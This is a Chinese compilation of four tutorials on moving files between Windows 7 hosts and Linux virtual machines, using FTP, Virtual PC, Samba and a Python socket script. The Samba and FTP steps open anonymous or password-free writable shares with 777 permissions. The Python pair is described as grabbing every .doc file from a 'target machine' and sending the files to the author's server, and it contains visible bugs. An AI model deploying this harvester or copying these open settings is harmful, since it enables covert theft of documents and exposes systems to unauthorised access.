Ubuntu虚拟机与win7主机方便传文件的实现方法(精选4篇)由网友“Tiamo”投稿提供,下面是小编收集整理的Ubuntu虚拟机与win7主机方便传文件的实现方法,供大家参考借鉴,希望可以帮助到有需要的朋友。
篇1:Ubuntu虚拟机与win7主机方便传文件的实现方法
如何让Ubuntu虚拟机与win7主机方便传文件?开启Ubuntu的FTP服务,利用cuteFTP软件来进行主机与虚拟机文件系统互联,这样就能更直观,更快捷的在两者之间互相传递文件
Ubuntu虚拟机安装好后,再通过安装虚拟机工具是可以相互传文件的,但是来回的窗口切换也是很麻烦的,下面我们来介绍一种更为简单的方法:开启Ubuntu的FTP服务,利用cuteFTP软件来进行主机与虚拟机文件系统互联,这样就能更直观,更快捷的在两者之间互相传递文件。
1、首先我们来查看Ubuntu虚拟机是否已经安装并开启了FTP服务,我这里已经安装过了,会显示如下的画面。如果没有安装的话,利用sudo apt-get install vsftpd命令来安装。当然了,首先你的Ubuntu要能上网。
2、接下来是配置FTP,我们利用命令vi /etc/vsftpd.conf,打开配置文件,修改文本并保存。大致修改有五处分别是:
复制内容到剪贴板
listen=YES
anonymous_enable=YES
local_enable=YES
write_enable=yes
local_umask=022
3、配置好后重启FTP服务,
利用sudo service vsftpd restart命令。
4、完成后我们来建立主机与虚拟机的连接。这里默认大家电脑上已经装好了cuteftp软件,打开该软件。
5、利用ifconfig命令来查看虚拟机Ubuntu的网卡配置情况,这里的ip是192.168.1.139。
6、在cuteftp里输入主机ip(也就是虚拟机Ubuntu的ip)、用户名、密码,默认端口为21,这里不用修改,点击“连接”按钮就可以了。
7、来看一下效果。
8、这里可能会出现登录失败的情况,我们这里可以重启一下虚拟机试一下。
相关推荐:
ubuntu12.04系统怎么安装PPS播放器?
Ubuntu系统上实现转换图像、音频和视频格式的方法
ubuntu14.04打开个几个应用窗口最小化后怎么切换呢?
Ubuntu系统怎么设置在打开文件夹时默认显示隐藏文件?
篇2:Win7的虚拟机共享主机的文件解决
问:我的电脑是Windows 7旗舰版,用的是Microsoft Virtual PC这款虚拟机软件,请问如何让虚拟机共享主机的文件呢?
答:启动虚拟机之后依次点击“Tools→Insert Integration Disk”,然后在虚拟机中卸载掉旧版的Integration 工具,安装虚拟机光驱里的新软件,
Win7的虚拟机共享主机的文件解决
,
注意:在启动了集成特性之后, 虚拟机启动时会弹出一个对话框让你输入虚拟机中用于登录的用户名和密码信息,这一步要注意认真填写,如果出错,你将会进入虚拟机的Windows登录界面,在这里输入用户名和密码是不能开启集成特性的。也就是说,如果你在集成特性的设置中点选让虚拟机共享你的某个硬盘分区,而你没在虚拟机启动的时候输入用户名密码,只是在虚拟机中的Windows登录界面输入是无法看到宿主机的硬盘分区的。
篇3:linux(虚拟机中)与windows共享文件两种方法
Windows 下用 SourceInsight 与 Linux 协作编码
习惯了用SourceInsight 读写代码,在Linux下一时没找到类似的工具,vi的操作也不熟,偶尔看看或小改动代码还行,项目一大就感觉就力不从心了;所以还是准备采用Windows下进行代码的阅读和编写,Linux 下编译运行,下文是该环境的安装和配置过程,记录备忘。
环境说明:
Windows 7 + SourceInsight 3.5
Ubuntu 11.04 (这里是基于VMware的虚拟机,理论上不仅限于虚拟机)
以下主要分成两部分,一是Ubuntu下Samba的安装和配置;二是Windows下将Linux共享目录映射为网络驱动器。
一. Ubuntu 11.04 下 Samba 的安装和配置
1) 安装samba软件包
# sudo apt-get install samba
# sudo apt-get install smbclient
2) 创建共享目录:(目录名可自定义)
# mkdir /home/share
# chmod -R 777 /home/share # 若不更改权限,windows下不能写入(适用于只读共享)!!!
3) 修改Samba配置文件:
# cp /etc/samba/smb.conf /etc/samba/smb.conf.bak # 备份samba的配置文件
# gedit /etc/samba/smb.conf
A. 找到“# security = user”将它改成“security = share” # 注:去掉行首的注释符号
说明:security = share表示任何人都可以不需要输入密码登录;默认的security = user表示每个用户必须输入密码才能登录。
B. 在配置文件的最后加入以下内容(不包含行末注释说明部份)
[share] # 共享文件名,可自定义,与共享目录名可不一致
comment=VMware Ubuntu Share # 共享说明,可自定义
path=/home/share # 共享目录,应与之前创建的一致,必须为绝对路径
public=yes # 允许所有人都能够看到此目录
writable=yes # 允许用户在此目录下可写www.dnzg.cn
4) 重启Samba服务
# sudo /etc/init.d/smbd restart
Samba 的安装和配置已完成,
二. Windows 7 下将步骤一的共享目录映射为网络驱动器。
1) 确保Ubuntu的网络配置OK,查看并记录IP地址,这里以192.168.128.128为例。可在Windows 7的cmd下先用ping检测下网络是否畅通。
如OK,在Windows的资源管理器地址栏中输入“\\192.168.128.128\share”,即可访问该共享目录。
2) 在[计算机]图标上点右键(XP可能是在[网上邻居]图标上点右键),选择“映射网格驱动器(N)...”
在“驱动器”一栏选择合适的盘符,这里选择为W;
在“文件夹”一栏输入“\\192.168.128.128\share”;
点击完成。
3) 双击[计算机],即可看到一个盘符为W的网络驱动器。
三. 共享代码。
把代码放在以上创建的共享目录里,在此创建SourceInsight工程,即可在Windows中用SourceInsight对代码进行修改和编写;在Ubuntu中进行编译。
====================================================================
第二种办法使用vmware自带的共享文件夹功能
说是自带,其实需要安装vmware-tools,具体怎么安装请自行百度;
共享目录在linux端是/mnt/hgfs;在win中需要在vmware的系统里setting-》option-》shared folders里设置
篇4:python实现获取客户机上指定文件并传输到服务器的方法
作者:上大王 字体:[增加 减小] 类型:转载
这篇文章主要介绍了python实现获取客户机上指定文件并传输到服务器的方法,涉及Python实现C/S架构程序与socket程序的使用技巧,需要的朋友可以参考下
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法,分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = ‘127.0.0.1‘
PORT = 2000
BUF_SIZE = 6553500 #6M
key = ‘ouyang‘
timeout = 5
dicName = “ouyang\\”
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print “wating for conntecting...”
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send(“200 Connected!”)
#获取加密数据
encode_data = cs.recv(BUF_SIZE)
#把数据写到out.zip文件
tmpfile = open(‘out.tmp‘,‘wb‘)
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print ‘Strange error creating IOError:%s‘ % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2进制 解密 decode(infile,outfile)
tmpfile = open(‘out.tmp‘,‘rb‘)
utfile = open(‘out.zip‘,‘wb‘)
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打开zip文件
zfile = zipfile.ZipFile(‘out.zip‘,‘r‘)
#创建一个文件夹来存放获取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),‘w+b‘)
file.write(data)
file.close()
print “finished!!!”
zfile.close()
#后续处理 删除临时文件
os.remove(‘out.tmp‘)
cs.close()
except socket.error, e:
print ‘Strange error creating socket:%s‘ % e
cs.close()
ss.close()
except socket.error, e:
print ‘Strange error creating socket:%s‘ % e
ss.close()
if __name__==‘__main__‘:
main()
客户端程序:
代码如下:
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = ‘127.0.0.1‘
PORT = 2000
BUF_SIZE = 65535
key = ‘ouyang‘
dicName = “C:\Documents and Settings\Administrator\我的文档”
extName = ‘.doc‘
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print “文件处理错误: ” % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#压缩成zip文件
zfile = zipfile.ZipFile(‘in.zip‘,‘w‘,zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open(‘in.zip‘,‘rb‘)
tmpfile = open(‘in.tmp‘,‘wb‘)
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open(‘in.tmp‘,‘rb‘)
cs.send(tmpfile.read())
tmpfile.close()
#后续处理 删除中间文件
os.remove(‘in.tmp‘)
cs.close()
except socket.error ,e:
print ‘socket 出错啦:‘ % e
cs.close()
if __name__==‘__main__‘:
main()
希望本文所述对大家的Python程序设计有所帮助,
★ 网络管理员协议书
【Ubuntu虚拟机与win7主机方便传文件的实现方法(精选4篇)】相关文章:
网络管理员面试题2023-04-14
linux下kangle虚拟主机安装简明教程linux服务器应用2022-07-30
Windows 配置POP3服务服务器教程2022-12-04
实习周记计算机2024-05-07
vm虚拟机链接本级配置2022-05-06
Ubuntu 12.04安装backtrack5中的工具2023-03-24
AMH 4.1 虚拟主机面板 安装配置教程linux操作系统2024-02-05
数据采集系统设计研究论文2023-04-01
Directadmin面板中安装Nginx插件笔记linux操作系统2022-08-07
卫星遥测数据系统设计论文2024-03-31